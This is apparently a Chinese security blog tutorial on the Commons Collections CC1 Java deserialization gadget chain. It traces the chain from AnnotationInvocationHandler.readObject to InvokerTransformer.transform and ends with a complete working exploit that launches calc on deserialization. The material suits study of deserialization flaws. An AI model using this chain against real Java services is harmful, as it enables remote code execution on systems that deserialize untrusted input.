Java反序列化CommonsCollections——CC1(TransformMap)

Java反序列化CommonsCollections——CC1

前言

今天起开始讲CommonsCollections反序列化漏洞,相当经典,丰富一下知识区。

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

包结构:

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

准备工作

  • JDK8u65(CC 链的漏洞还未被修掉)
  • openJDK 8u65

先去官网下载8u65版本的jdk

image-20230103172919094

这里我遇到了一个问题,它一直给我下8u111,无奈只能去其他网站上找8u65版本的jdk。我是下载后在虚拟机里安装,再将对应的jdk文件复制到本地主机上调试。

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。

来去下载openJDK,将\src\share\classes目录下的sun文件复制到jdk1.8.0_65\src路径下image-20230103175444025

在SDKs源路径添加我们新解压的文件

image-20230103175535436

这样再去看源码就一目了然了。

CC1攻击链分析

Transformer接口的作用就是它接受一个对象,调用transform方法对这个对象进行一系列操作,我们暂且可以将它理解为装饰器、代理这个功能。

ctrl + alt + B,查看实现接口的类

image-20230103181638896

InvokerTransformer类中存在一个反射调用任意类,可以作为链子的终点去利用。

image-20230103211601095

看到这里有漏洞,我们先尝试构造一下,调用这个类的弹计算器。

在调用这个类之前,我们先回顾一下反射的命令执行的代码。

1
2
3
4
5
6
7
8
9
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
image-20230103211803211

接下来我们构造一个利用 InvokerTransformer 类弹计算器的程序。

根据构造方法构造 EXP,因为是 public 的方法,这里无需反射。

需要三个参数:参数名、参数类型、参数值

image-20230103212049258
1
2
3
4
5
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}

成功的弹出计算器,事实上就是通过InvokerTransformer重新实现了一个反射

image-20230103213012476

我们在整个链子中是走到了最后一步,即调用了InvokerTransformer.transform(),那么接下来要做的就是往回倒退,谁调用了transform,谁又调用了调用了transform的方法,以此类推。

点进transform方法,右键find usages查询调用。

image-20230104122711068

我们可以一步步看有什么比较常用的,这里为节省时间,直接来看TransformedMap类中的checkSetValue()方法。

image-20230104123706056

那这个valueTransformer是什么呢?我们接着去看看它的构造函数。它的构造函数是一个protected,意思说它肯定是要被自己调用的,这个TransformedMap可以理解为接受一个Map进来,对这个Map的key和value进行一系列操作,这些操作都写在这些xxxTransformer里面了。

image-20230104123533128

decorate() 静态方法中创建了 TransformedMap 对象,完成了装饰的操作

image-20230104124210600

我们可以从这里开始试一下编写poc,这里我们从后往前推,如果有一个遍历数组的地方调用了setValue,就能接上这后半条链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class CC1Test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","aaa");
// 这里新建了 TransformedMap 对象
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}

}
}

总结一下上面的链子 1、执行decorate方法的时候,会新建 TransformedMap 对象。2、调用对象的 checkSetValue 方法(因为我们无法直接获取 TransformedMap 对象,它的作用域是 protected

3、checkSetValue最终会走到transform方法,即重点的危险方法。

目前找到的链子位于 checkSetValue 当中,去找 .decorate 的链子,发现无法进一步前进了,所以我们回到 checkSetValue 重新找链子。

继续 find usages,找到了 parent.checkSetValue(value); 调用了 checkSetValue

发现这是一个抽象类,是 TransformedMap 的父类。调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

image-20230104160305418

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue 方法,我们就可以把我们这个TransformedMap传进去。所以接下来我们要去找谁执行了setValue()方法,最理想的情况下,如果有一个对象的readObject()里面调用了setValue()方法就最好不过了!

于是我们接着对setValue()进行find usages,发现真的有一个readObject类里面调用了setValue方法。

image-20230104161533530

根据这个类的名字可以得知它是动态代理过程中的调用处理器类。

看一下构造函数,接收两个参数,第一个是个Class对象,第二个是个Map,这个Map是我们可控的,因为在构造函数里,我们可以将我们构造好的TransformedMap传进去,传进去后实例化这个类并尝试调用它。

image-20230104162003706

因为AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

我们很自然的就写了这个poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class CC1Test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

然而理想很丰满,现实很骨感,这个poc还是存在几个问题:1、runtime对象不能被序列化 2、实际传参不是runtime对象 3、需要满足这两个if

image-20230104165853077

先来解决第一点,Runtime不能被序列化,但是Runtime.class是能被序列化的,我们写一遍普通反射

1
2
3
4
5
6
7
8
9
public class CC1Test {  
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
}

接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。

1
2
3
4
5
6
7
8
public class CC1Test {  
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
}

这里Transformer不断调用前者,是一个循环调用。

这里我们用ChainTransformer类,这个类下的transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。修改后的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class CC1Test {  
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 第一个参数
chainedTransformer.transform(Runtime.class);

}

接下来我们要着手解决这两个if条件的判断了image-20230104183646608

查看代码,第一个if跳出去是因为memberType为null,memberType是先获取memberValue,然后对其key方法,再去获取memberType,我们只需要针对性的修改,传入的注解参数,是有成员变量即可。

image-20230104185708849

这一次的运行我们成功进入到了 setValue 方法当中,但还是不能够进行弹计算器,这是因为 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。

在一开始曾介绍过一个类ConstantTransformer,他有两个特点:1、构造方法:传入的任何对象都放在 iConstant 中。 2、transform方法:无论传入什么,都返回iConstant

image-20230104190639328

那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class CC1Test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

执行后,成功弹出计算器!!大功告成

image-20230104192843419

总结:这条链子的顺序为

AnnotationInvocationHandler.readObject() –> AbstractInputCheckedMapDecorator.setValue() –> TransformedMap.checkSetValue() –>InvokerTransformer.transform()

并且用了ChainedTransformer类实现递归调用、ConstantTransformer类实现控制初始setValue()的值加以辅助。

image-20230107114839098

后记

CC1可以说是最重要的一条链子了,反序列化链子虽说很多,但八九不离十,理解了这一条就理解的七七八八了。过程中还是有相当多坑的地方的,有点绕。主要还是根据它写的方法修修改改,最核心还是InvokerTransformer的任意方法执行。